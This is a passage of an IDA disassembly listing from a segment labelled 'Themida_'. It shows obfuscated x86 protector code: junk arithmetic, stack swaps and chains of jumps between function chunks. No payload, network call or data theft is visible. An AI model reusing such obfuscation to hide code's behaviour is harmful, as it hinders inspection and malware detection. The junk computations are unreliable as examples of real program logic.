sub_560056	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_56005C:				; CODE XREF: sub_56628B-4F43j
		push	6EC2h
		jmp	loc_562B97
; END OF FUNCTION CHUNK	FOR sub_56628B

; =============== S U B	R O U T	I N E =======================================



sub_560066	proc near		; CODE XREF: sub_573876-2F26j

; FUNCTION CHUNK AT 00572631 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 1096426Eh
		add	ecx, ebx
		pop	ebx
		jmp	loc_572631
sub_560066	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_560074:				; CODE XREF: sub_564D26+8F77j
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		shr	ecx, 7
		push	2617h
		mov	[esp+4+var_4], edx
		push	ebx
		push	ecx
		mov	ecx, 3F822223h
		sub	[esp+0Ch+var_8], ecx
		pop	ecx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		add	edx, 3F822223h
		push	ecx
		mov	ecx, edx
		push	ecx
		pop	eax
		pop	ecx
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		jmp	loc_56DE34
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_5600B7:				; CODE XREF: sub_56F1DB-4408j
		mov	eax, 5CC35B23h
		xor	eax, 576D79FDh
		sub	eax, 706B35C3h
		xor	eax, 16E1533Bh
		not	eax
		xor	eax, 725C41DBh
		add	ebx, eax
		mov	eax, [esp+0]
		add	esp, 4
		push	44B5h
		mov	[esp+0], ecx
		mov	ecx, 4
		sub	ebx, 516E0BCCh
		add	ebx, ecx
		add	ebx, 516E0BCCh
		mov	ecx, [esp+0]
		add	esp, 4
		xchg	ebx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		sub	eax, 13510169h
		mov	ebx, eax
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_56F1DB
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_560115:				; CODE XREF: sub_569CBC+5j
		push	47EBh
		jmp	loc_571B9F
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56011F:				; CODE XREF: sub_564D26-16D6j
		dec	ebp
		dec	ebp
		sub	ebp, 0A8E51A2Ah
		add	ebx, ebp
		pop	ebp
		sub	ecx, 1A65219Ch
		add	ecx, ebx
		jmp	loc_56FAFD
; END OF FUNCTION CHUNK	FOR sub_564D26

; =============== S U B	R O U T	I N E =======================================



sub_560137	proc near		; DATA XREF: Themida_:0055FE10o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00561387 SIZE 00000029 BYTES

		mov	cx, [esp+0]
		push	952h
		jmp	loc_561387
sub_560137	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD97


loc_560145:				; CODE XREF: sub_56FD97-A387j
		and	ebp, 5E0A77FDh
		push	edi
		mov	edi, 3D6A72BAh
		jmp	sub_56D1DD
; END OF FUNCTION CHUNK	FOR sub_56FD97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_560156:				; CODE XREF: sub_5620B7-B5Cj
		mov	ah, 22h
		jmp	loc_56ED11
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_56015D:				; CODE XREF: sub_574F16+3j
		push	small 5A0Ch
		mov	[esp+2+var_2], cx
		push	edx
		jmp	loc_5724D3
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_56016B:				; CODE XREF: sub_56EE9F-C6ECj
		add	ecx, edi
		pop	edi
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		pop	esp
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56749A


loc_56017D:				; CODE XREF: sub_56749A+1DBDj
		sub	esi, 4
		xchg	esi, [esp+18h+var_18]
		pop	esp
		jmp	loc_57250C
; END OF FUNCTION CHUNK	FOR sub_56749A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_56018C:				; CODE XREF: sub_561541+119B3j
		mov	edx, ebp
		pop	ebp
		sub	edx, ecx
		push	edx
		jmp	loc_56B4FB
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_560197:				; CODE XREF: sub_5678CB+D496j
		sub	al, ch
		add	al, 7Ch
		pop	ecx
		push	edx
		jmp	loc_567C91
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57109F


loc_5601A2:				; CODE XREF: sub_57109F-57CCj
		pop	esp
		jmp	loc_5741E8
; END OF FUNCTION CHUNK	FOR sub_57109F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_5601A8:				; CODE XREF: sub_561418+B603j
		mov	[esp+0], ecx
		jmp	loc_574A64
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_5601B0:				; CODE XREF: sub_5685B2+540Cj
		pop	ebx
		jmp	loc_5629DB
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_5601B6:				; CODE XREF: sub_571C93+Fj
		shr	edi, 4
		inc	edi
		jmp	loc_56C9AD
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_5601BF:				; CODE XREF: sub_563A7F+B4B6j
		sub	edx, esi
		add	edx, 679C747Ch
		xchg	edx, esi
		pop	edx
		push	ecx
		mov	ecx, 5FEF8399h
		sub	esi, 15A27958h
		add	esi, ecx
		add	esi, 15A27958h
		mov	ecx, [esp+0]
		jmp	loc_5672B7
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_5601E6:				; CODE XREF: sub_561541+1010Cj
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	sub_56504F
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_560203:				; CODE XREF: sub_560844+8103j
		pop	edx
		xchg	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_56D823
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD38


loc_56020F:				; CODE XREF: sub_56FD38+3j
		pop	eax
		push	104Fh
		mov	[esp+4+var_4], eax
		jmp	loc_56DD73
; END OF FUNCTION CHUNK	FOR sub_56FD38
; ---------------------------------------------------------------------------


loc_56021D:				; CODE XREF: Themida_:00570920j
		add	esp, 4
		add	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_57471C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560C12


loc_56022D:				; CODE XREF: sub_560C12+73C1j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_560C12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5684A6


loc_560232:				; CODE XREF: sub_5684A6-1871j
		push	edi
		mov	edi, 25371A82h
		push	ecx
		mov	ecx, 67374DE5h
		sub	ecx, 5D195BB2h
		dec	ecx
		dec	ecx
		sub	ecx, 0C8E5A84Ah
		or	edi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 5D1F5DCAh
		neg	ecx
		sub	ecx, 5B7342FBh
		and	ecx, 647D28A1h
		jmp	loc_5647A5
; END OF FUNCTION CHUNK	FOR sub_5684A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572669


loc_560268:				; CODE XREF: sub_572669-2655j
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_56EC70
; END OF FUNCTION CHUNK	FOR sub_572669

; =============== S U B	R O U T	I N E =======================================



sub_560276	proc near		; CODE XREF: sub_570732+3B7Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005631E0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056E049 SIZE 00000013 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	edx
		push	66AB2425h
		mov	edx, [esp+0Ch+var_C]
		push	esi
		jmp	loc_5631E0
sub_560276	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_56028B:				; CODE XREF: sub_56F1DB-288Dj
		sub	esi, 768C4A0Fh
		jmp	loc_566F28
; END OF FUNCTION CHUNK	FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5715F0


loc_560296:				; CODE XREF: sub_5715F0-2349j
		pop	ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_56B5EE
; END OF FUNCTION CHUNK	FOR sub_5715F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574896


loc_5602A2:				; CODE XREF: sub_574896-72E5j
		add	eax, ecx
		pop	ecx
		add	eax, 4
		jmp	loc_572400
; END OF FUNCTION CHUNK	FOR sub_574896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_5602AF:				; CODE XREF: sub_56CC46-7048j
		mov	edx, 13E61D14h
		add	edx, 57635537h
		push	esi
		push	6B49724Fh
		mov	esi, [esp+8+var_8]
		add	esp, 4
		xor	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 70B56022h
		sub	esi, edx
		jmp	loc_56045D
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_5602DE:				; CODE XREF: sub_561418+FCAj
		pop	esp
		push	ebx
		push	esi
		mov	esi, 1AEC4EEDh
		add	esi, 0E513B114h
		mov	ebx, esi
		pop	esi
		add	esi, ebx
		pop	ebx
		push	3DB7h
		jmp	loc_574499
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_5602FC:				; CODE XREF: sub_57146D+B34j
		or	bh, 4Ah
		sub	bh, 2Fh
		jmp	loc_56F294
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_560307:				; CODE XREF: sub_5678CB+2795j
		mov	edx, [esp+8+var_A+2]
		add	esp, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], eax
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56031C:				; CODE XREF: sub_564D26+249j
		sub	ecx, ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4874678Fh
		push	6305h
		jmp	loc_56EE02
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_56033F:				; CODE XREF: sub_56B1DC-1E39j
		sub	ebx, 0B39C1D8Ch
		mov	edx, ebx
		pop	ebx
		add	esi, edx
		pop	edx
		xchg	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	sub_5648C6
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574DC1


loc_560356:				; CODE XREF: sub_574DC1+1BAj
		sub	eax, ebp
		pop	ebp
		add	eax, 460060BDh
		add	eax, ebx
		sub	eax, 460060BDh
		add	eax, 44B822D8h
		add	eax, 59E23057h
		jmp	loc_56C322
; END OF FUNCTION CHUNK	FOR sub_574DC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_560374:				; CODE XREF: sub_56FA15-A9DCj
		add	dh, 43h
		xor	dh, 73h
		jmp	loc_566196
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572EDC


loc_56037F:				; CODE XREF: sub_572EDC-6C7Bj
		pop	eax
		jmp	sub_56C4FF
; END OF FUNCTION CHUNK	FOR sub_572EDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566B37


loc_560385:				; CODE XREF: sub_566B37+236Bj
		mov	[esp+8+var_8], esi
		mov	esi, 716D6E72h
		inc	esi
		shl	esi, 1
		dec	esi
		dec	esi
		push	ecx
		mov	ecx, 5DD45CA1h
		jmp	loc_574343
; END OF FUNCTION CHUNK	FOR sub_566B37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_56039D:				; CODE XREF: sub_56CD13+3965j
		add	ecx, edx
		jmp	loc_56F734
; END OF FUNCTION CHUNK	FOR sub_56CD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5603A4:				; CODE XREF: sub_5678CB+D8D9j
		sub	ebp, 2F22568h
		add	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		sub	esi, 6A3C18A1h
		sub	esi, edx
		add	esi, 6A3C18A1h
		pop	edx
		xchg	esi, [esp+4+var_4]
		jmp	loc_56D3F0
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_5603CA:				; CODE XREF: sub_568646+9ECDj
		xor	al, dl
		jmp	loc_56A230
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_5603D1:				; CODE XREF: sub_56E126-919Aj
		pop	esi
		jmp	loc_569424
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD38


loc_5603D7:				; CODE XREF: sub_56FD38-CB7Ej
		add	ebx, 3B361397h
		add	ebx, esi
		sub	ebx, 3B361397h
		pop	esi
		jmp	sub_573B49
; END OF FUNCTION CHUNK	FOR sub_56FD38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_5603EB:				; CODE XREF: sub_563DCB+31ADj
		pop	ebx
		add	ebx, ecx
		jmp	loc_561126
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747FA


loc_5603F3:				; CODE XREF: sub_5747FA-BC6Cj
		sub	eax, 24F96C1Ah
		sub	eax, 73D75CB8h
		jmp	loc_56FE7F
; END OF FUNCTION CHUNK	FOR sub_5747FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570F0F


loc_560402:				; CODE XREF: sub_570F0F-2B30j
		sub	ebx, 2
		xchg	ebx, [esp+0]
		jmp	loc_56F9A9
; END OF FUNCTION CHUNK	FOR sub_570F0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_56040D:				; CODE XREF: sub_5653AD+EB1Dj
		mov	edi, 2CB70840h
		or	edi, 10350EAh
		inc	edi
		xor	edi, 43D7285Eh
		jmp	loc_56E5D5
; END OF FUNCTION CHUNK	FOR sub_5653AD
; ---------------------------------------------------------------------------


loc_560424:				; CODE XREF: Themida_:00572B77j
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_5649BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5631A3


loc_560432:				; CODE XREF: sub_5631A3+2935j
		push	[esp+0Ch+var_8]
		pop	edi
		jmp	loc_560AEE
; END OF FUNCTION CHUNK	FOR sub_5631A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_56043C:				; CODE XREF: sub_568E5C+797Bj
		mov	ebp, 0E5914DCh
		jmp	loc_56F982
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_560446:				; CODE XREF: sub_571088-B1A8j
		xor	cl, 0D8h
		jmp	loc_57281E
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_56044E:				; CODE XREF: sub_568764+Dj
		add	esp, 4
		push	ebp
		jmp	loc_565247
; END OF FUNCTION CHUNK	FOR sub_568764

; =============== S U B	R O U T	I N E =======================================



sub_560457	proc near		; CODE XREF: sub_569CBC-2FD4j

; FUNCTION CHUNK AT 0056BA06 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0057448D SIZE 0000000C BYTES

		push	ebp
		jmp	loc_56BA06
sub_560457	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_56045D:				; CODE XREF: sub_56CC46-C96Dj
		pop	edx
		add	esi, edx
		add	esi, 70B56022h
		mov	edx, [esp+0]
		push	edx
		jmp	loc_574336
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_56046F:				; CODE XREF: sub_571289-2202j
		shr	esi, 8
		add	esi, 30B85CF0h
		jmp	loc_56C7F1
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56047D:				; CODE XREF: sub_57354D-798Cj
		mov	esp, [esp+4+var_4]
		push	748Ch
		mov	[esp+0], ecx
		push	4E24h
		push	esp
		pop	[esp+8+var_8]
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		jmp	loc_56FD54
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56049F:				; CODE XREF: sub_5605BC+4EA3j
		mov	[esp+0], ecx
		mov	ecx, 28h
		add	ecx, edi
		push	dword ptr [ecx]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	ecx
		push	edx
		jmp	loc_56EA4B
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CFE


loc_5604BE:				; CODE XREF: sub_567CFE+3518j
		not	ecx
		xor	ecx, 4C557540h
		or	ecx, 6820652Fh
		jmp	loc_561927
; END OF FUNCTION CHUNK	FOR sub_567CFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_5604D1:				; CODE XREF: sub_5754DA-1244Bj
		pop	ebx
		inc	bh
		push	0
		sub	[esp+0Eh+var_E], bh
		mov	bh, [esp+0Eh+var_E]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_56C435
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564CDA


loc_5604E7:				; CODE XREF: sub_564CDA+643Cj
		sub	ebp, 578633E3h
		jmp	loc_565726
; END OF FUNCTION CHUNK	FOR sub_564CDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566AF9


loc_5604F2:				; CODE XREF: sub_566AF9-65AFj
		pop	ebp
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		jmp	loc_574A9A
; END OF FUNCTION CHUNK	FOR sub_566AF9

; =============== S U B	R O U T	I N E =======================================



sub_5604FE	proc near		; DATA XREF: Themida_:0055FE8Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560A17 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00560DB9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00563C94 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00569572 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005695EC SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00569D9D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056C080 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056C883 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D55B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056E319 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056F416 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056FB48 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056FEA3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00571444 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00573659 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057434B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00575079 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0057542D SIZE 0000000D BYTES

		mov	ecx, [esp+0]
		push	5742h
		mov	[esp+4+var_4], ecx
		jmp	loc_575079
sub_5604FE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_56050E:				; CODE XREF: sub_56BD44-396Cj
		push	eax
		jmp	loc_5620FC
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_560514:				; CODE XREF: sub_5620B7-8Ej
		pop	esp
		mov	[esp+8+var_A+2], ebx
		push	6AE5h
		mov	[esp], ecx
		jmp	loc_56738C
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5606E3


loc_560525:				; CODE XREF: sub_5606E3+6F42j
		xor	ebp, 5B4D4427h
		add	ebp, 0AAC2B878h
		jmp	loc_56603F
; END OF FUNCTION CHUNK	FOR sub_5606E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566AF9


loc_560536:				; CODE XREF: sub_566AF9-2697j
		push	esi
		mov	esi, 353119F8h
		sub	esi, 353119F6h
		add	ebp, esi
		pop	esi
		push	ebp
		push	[esp+0Ch+var_8]
		jmp	loc_5604F2
; END OF FUNCTION CHUNK	FOR sub_566AF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569B75


loc_56054F:				; CODE XREF: sub_569B75+938Aj
		xchg	eax, [esp+0]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_560C36
; END OF FUNCTION CHUNK	FOR sub_569B75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_560562:				; CODE XREF: sub_567D31+7AE0j
		mov	ecx, [esp+0]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_565B36
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_560576:				; CODE XREF: sub_564D26+9119j
		push	edi
		push	ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		mov	edi, [esp+18h+var_18]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Ch+var_1C]
		pop	esp
		mov	edi, ebx
		pop	ebx
		mov	ecx, edi
		jmp	loc_5629B3
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_56059D:				; CODE XREF: sub_56AEF2+3C8Fj
		mov	ecx, esp
		jmp	sub_570F0F
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0B0


loc_5605A4:				; CODE XREF: sub_56E0B0+71D8j
		pop	eax
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		mov	[esp+4+var_4], esp
		push	ecx
		jmp	loc_5622EB
; ---------------------------------------------------------------------------


loc_5605B4:				; CODE XREF: sub_56E0B0-7F64j
		add	eax, esi
		pop	esi
		jmp	loc_56B924
; END OF FUNCTION CHUNK	FOR sub_56E0B0

; =============== S U B	R O U T	I N E =======================================



sub_5605BC	proc near		; CODE XREF: sub_56616D-3134j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056049F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005605EC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005609EA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005615A4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00561773 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005626D6 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00562EEF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00563F70 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00564A71 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 0056543E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00565818 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565838 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566D34 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056700B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00567510 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00567856 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567B75 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056867C SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00569C42 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056A0A1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056B0C6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BF6A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C621 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0056CF1B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056D012 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056E66A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056EA4B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056EC17 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056EF77 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056F4D7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056F773 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005700F3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00571B6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571BBA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00572AC6 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00572D1C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00573ECF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00574088 SIZE 00000024 BYTES

		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		jmp	loc_56BF6A
sub_5605BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C0A


loc_5605CD:				; CODE XREF: sub_571C0A-893Cj
		push	5293h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+0]
		jmp	loc_57125C
; END OF FUNCTION CHUNK	FOR sub_571C0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_5605EC:				; CODE XREF: sub_5605BC+C97Bj
		pop	edi
		mov	edi, ecx
		pop	ecx
		jmp	loc_56F4D7
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_5605F5:				; CODE XREF: sub_570FB7-B896j
		mov	[esp+0], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_56E385
; END OF FUNCTION CHUNK	FOR sub_570FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_560609:				; CODE XREF: sub_569193+1E3Dj
		pop	eax
		jmp	loc_56ECA9
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AA2B


loc_56060F:				; CODE XREF: sub_56AA2B+786Cj
		xor	ecx, 73BF6004h
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
